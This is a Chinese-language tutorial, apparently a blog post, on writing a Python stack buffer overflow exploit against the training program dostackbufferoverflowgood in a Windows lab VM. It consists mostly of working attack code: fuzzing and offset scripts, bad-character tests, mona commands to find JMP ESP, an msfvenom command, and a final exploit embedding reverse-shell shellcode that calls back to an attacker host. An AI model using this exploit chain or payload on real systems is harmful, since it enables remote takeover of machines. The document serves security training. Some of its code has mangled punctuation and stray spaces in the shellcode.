駭客指令碼練習(基於python編寫緩衝區溢位指令碼)
0x00:前期準備
這次是基於python打造緩衝區溢位的練習指令碼。這次不採用線上靶場進行測試,需要大家先提前下載好,下面會列出需要的環境準備:
漏洞利用程式:
https://
github。com/justinsteven
/dostackbufferoverflowgood
一臺Windows虛擬機器(可從MSDN這裡選一個作業系統下載): https://msdn。itellyou。cn
Immunity Debugger:
https://
debugger。immunityinc。com
/ID_register。py
Mona:
https://
github。com/corelan/mona
參考的指令碼:
https://
github。com/hum4nG0D/OSC
P_Bufferovrflw_Prep
這裡我用的是windows10虛擬機器,安裝完成好以後在Imunnity Debugger 選擇File,開啟漏洞利用程式dostackbufferoverflowgood。exe
點完以後選擇紅色按鈕啟動,其實程式會開始執行並提示正在等待連線。
先用nmap對虛擬機器進行掃描,發現31337埠有點奇怪。會不斷的hello
用nc可以連線。這就是我們要測試的目標。
0x01:模擬模糊測試
所謂的模糊測試可以理解為生成大量的字串模擬使用者的輸入然後丟到我們的目標程式看看程式的極限是多少。
當然首先需要利用python模擬下使用者的輸入程式碼也比較簡單:
#!/usr/bin/python
import sys#1。匯入所需要的庫函式
import socket
from time import sleep
string = b“John Wick”#2。模擬使用者的輸入語句
s=socket。socket(socket。AF_INET,socket。SOCK_STREAM)#3。面向網路的套接字
s。connect((‘192。168。72。190’,31337))#4。連線
s。send(string + b“\n\r”)#5。傳送剛才準備好的模擬語句
print(“Send: {0}”。format(string))#輸出
data = s。recv(1024)
print(“Received: {0}”。format(data))#6。檢測是否返回成功
當然也能正常執行。
下一步就可以開始嘗試從少到多的模糊測試。指令碼如下:
#!/usr/bin/python
import sys, socket#1。匯入庫函式
from time import sleep
buffer = b“A” * 10#2。制定輸入的內容
s = socket。socket(socket。AF_INET, socket。SOCK_STREAM)
s。connect((‘192。168。72。190’, 31337))#3。SOCKET 連線
timeout = 5
s。settimeout(timeout)
while True:
try:
s。send(buffer + b“\n\r”)#4。傳送制定內容
print(“Send: {0}”。format(buffer))#5。輸出
print(“Fuzzing with {} bytes”。format(len(buffer)))#6。輸出字串長度
data = s。recv(1024)
print(“Received: {0}”。format(data))#7。看看回顯內容
buffer += b“A” * 10
except:
print(“Fuzzing crashed at {} bytes”。format(len(buffer)))#8。等到程式崩潰為止
sys。exit(0)
儲存好以後執行程式大概會在接收150個字串以後開始崩潰。
0x02:精準定位
確定完程式接收150個字串左右輸入以後會崩潰,接下來就是精準確認具體是多少個字串程式會崩潰首先需要借用kali自帶的字串生成工具在/usr/share/metasploit-framework/tools/exploit/pattern_create。rb 生成200個字串
接下來就是一個新的指令碼了。主要就是複製剛才生成好的字串然後傳送過去。
#!/usr/bin/python
import socket
import sys
s=socket。socket(socket。AF_INET,socket。SOCK_STREAM)
s。connect((‘192。168。72。193’,31337))
timeout = 5
s。settimeout(timeout)
while True:
try:
buffer = b“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag”
s。send(buffer + b“\n\r”)
print(“Send: {0}”。format(buffer))
data = s。recv(1024)
print(“Received: {0}”。format(data))
except:
print(“overflow success”)
sys。exit(0)
在傳送前需要回到虛擬機器做一些設定,我們需要輸入以下語句聯動mona幫助我們查詢
重新執行指令碼正常情況下程式應該是暫停了回到Windows虛擬機器上在底下輸入框輸入!mona findmsp -distance 200 會彈出一個視窗往下拉可以看到EIP contains normal pattern xxx offset 146 而146就是這個程式能承受的極限。
如果你想驗證的話可以準備146個A,後面再來4個B重新發送
#!/usr/bin/python
import socket
buffer = b“A” * 146 + b“B” * 4
s=socket。socket(socket。AF_INET,socket。SOCK_STREAM)
s。connect((‘192。168。72。196’,31337))
print(“Sending: %s” % buffer)
s。send(buffer + b“\n\r”)
print(“Done!”)
s。close()
正常來講是可以傳送成功的。
回到虛擬機器看Immunity Debugger,此時EIP(下一個地址)會變成42424242即BBBB十六進位制下的值。
0x03:查詢壞字串
透過上圖可知道我們的輸入會被轉換成十六進位制,然而並不是所有的值都會被接受的。當然\x00是通用壞字串,先排除完它之後在慢慢除錯。以下是所有十六進位制的值。
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b \x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
現在Immunity debugger 輸入!mona bytearray -b “\x00”通知排除\x00這個壞字串。
然後構造好新的指令碼:
#!/usr/bin/python
import socket
buffer = “A” * 146 + “B” * 4
bad=(“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b \x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)
payload = buffer + bad
s=socket。socket(socket。AF_INET,socket。SOCK_STREAM)
s。connect((‘192。168。72。196’,31337))
print(“Sending: %s” % buffer)
s。send(bytes(payload + “\n\r”, “latin-1”))
print(“Done!”)
s。close()
重新發送後程序會再次進入停止狀態。接下來需要輸入一個mona的比較語句查詢壞字串
命令: !mona compare -f C:\mona\dostackbufferoverflowgood\bytearray。bin -a 006419E4(ESP的值)
可以看到只有00和0a,00已經刪除只需要刪完0a即可。
當然根據前面的方法我們需要再通知一次Immunity Debugger
命令: !mona bytearray -b “\x00\x0a”
根據上面的指令碼把0a刪除以後重新執行。再次比較此時已經無壞字串了。
0x04:尋找 JMP ESP
找完壞字串以後,下一步就開始找JMP ESP了。先解釋下當訪問傳送衝突時,ESP會指向我們傳送的記憶體當中。而JMP ESP指令可以把想執行的程式碼重定向到這裡。可以理解為你把程式弄崩潰以後可以填寫惡意程式碼隨意操控程式。但填寫惡意程式碼也是要看位置的不是想投哪就投哪。
這裡可以在Immunity Debugger底下輸入框輸入以下語句,又兩個結果任選一個。
!mona jmp -r esp -cpb “\x00\x0a”
這裡再額外提一下,計算機儲存各種資料型別(int, string, float double)主要有兩大類。第一種是小端架構另外一個就是大端架構。我還是說重點吧,由於大小端差異,在利用JMP ESP的時候需要反過來寫並以\x xx這種格式。打個比方最後的JMP ESP地址為\xc3\x14\x04\x08
0x05:生成惡意程式碼
這裡呢前面已經知道了程式極限點,壞字串,JMP ESP了。接下來就是生成惡意程式碼,獲得一個反彈shell了。可以用下面這條語句生成
命令: msfvenom -p windows/shell_reverse_tcp LHOST=192。168。72。132 LPORT=4444 EXITFUNC=thread -b “\x00\x0a” -f c
這是最後的終極指令碼,主要是多了個padding要留多一點空間進行一個解壓縮惡意程式碼。
import socket
offset = 146
overflow = “A” * offset
retn = “\xc3\x14\x04\x08”
padding = “\x90” * 16
payload = (“\xdb\xc0\xd9\x74\x24\xf4\x5f\x2b\xc9\xba\x07\xd4\x4a\xcb\xb1”
“\x52\x31\x57\x17\x83\xc7\x04\x03\x50\xc7\xa8\x3e\xa2\x0f\xae”
“\xc1\x5a\xd0\xcf\x48\xbf\xe1\xcf\x2f\xb4\x52\xe0\x24\x98\x5e”
“\x8b\x69\x08\xd4\xf9\xa5\x3f\x5d\xb7\x93\x0e\x5e\xe4\xe0\x11”
“\xdc\xf7\x34\xf1\xdd\x37\x49\xf0\x1a\x25\xa0\xa0\xf3\x21\x17”
“\x54\x77\x7f\xa4\xdf\xcb\x91\xac \x9b\x90\x9d\x93\x97\xca”
“\x3d\x12\x7b\x67\x74\x0c\x98\x42\xce\xa7\x6a\x38\xd1\x61\xa3”
“\xc1\x7e\x4c\x0b\x30\x7e\x89\xac\xab\xf5\xe3\xce\x56\x0e\x30”
“\xac\x8c\x9b\xa2\x16\x46\x3b\x0e\xa6\x8b\xda\xc5\xa4\x60\xa8”
“\x81\xa8\x77\x7d\xba\xd5\xfc\x80\x6c\x5c\x46\xa7\xa8\x04\x1c”
“\xc6\xe9\xe0\xf3\xf7\xe9\x4a\xab\x5d\x62\x66\xb8\xef\x29\xef”
“\x0d\xc2\xd1\xef\x19\x55\xa2\xdd\x86\xcd\x2c\x6e\x4e\xc8\xab”
“\x91\x65\xac\x23\x6c\x86\xcd\x6a\xab\xd2\x9d\x04\x1a\x5b\x76”
“\xd4\xa3\x8e\xd9\x84\x0b\x61\x9a\x74\xec\xd1\x72\x9e\xe3\x0e”
“\x62\xa1\x29\x27\x09\x58\xba\x88\x66\x2a\xbe\x61\x75\xaa\xaf”
“\x2d\xf0\x4c\xa5\xdd\x54\xc7\x52\x47\xfd\x93\xc3\x88\x2b\xde”
“\xc4\x03\xd8\x1f\x8a\xe3\x95\x33\x7b\x04\xe0\x69\x2a\x1b\xde”
“\x05\xb0\x8e\x85\xd5\xbf\xb2\x11\x82\xe8\x05\x68\x46\x05\x3f”
“\xc2\x74\xd4\xd9\x2d \x03\x1a\xb3\xbd\xc6\x26\x97\xad\x1e”
“\xa6\x93\x99\xce\xf1\x4d\x77\xa9\xab\x3f\x21\x63\x07\x96\xa5”
“\xf2\x6b\x29\xb3\xfa\xa1\xdf\x5b\x4a\x1c\xa6\x64\x63\xc8\x2e”
“\x1d\x99\x68\xd0\xf4\x19\x88\x33\xdc\x57\x21\xea\xb5\xd5\x2c”
“\x0d\x60\x19\x49\x8e\x80\xe2\xae\x8e\xe1\xe7\xeb\x08\x1a\x9a”
“\x64\xfd\x1c\x09\x84\xd4”)
postfix = “”
buffer =overflow + retn + padding + payload + postfix
s = socket。socket(socket。AF_INET, socket。SOCK_STREAM)
try:
s。connect((‘192。168。72。206’,31337))
print(“Sending evil buffer。。。”)
s。send(bytes(buffer + “\r\n”, “latin-1”))
print(“Done!”)
except:
print(“Could not connect。”)
然後提前開啟nc,執行指令碼成功獲取shell。